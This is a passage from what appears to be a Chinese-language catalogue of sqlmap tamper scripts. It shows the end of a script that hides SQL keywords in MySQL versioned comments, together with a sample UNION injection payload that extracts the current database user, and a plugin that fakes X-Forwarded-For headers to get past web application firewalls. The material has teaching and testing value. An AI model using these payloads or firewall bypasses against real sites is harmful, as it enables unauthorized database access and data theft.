tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "/*!%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
40.xforwardedfor.py 该插件主要用于随机xforwardedfor
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' to bypass
WAF (usually application based) protection
"""
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
return payload
标签：tamper
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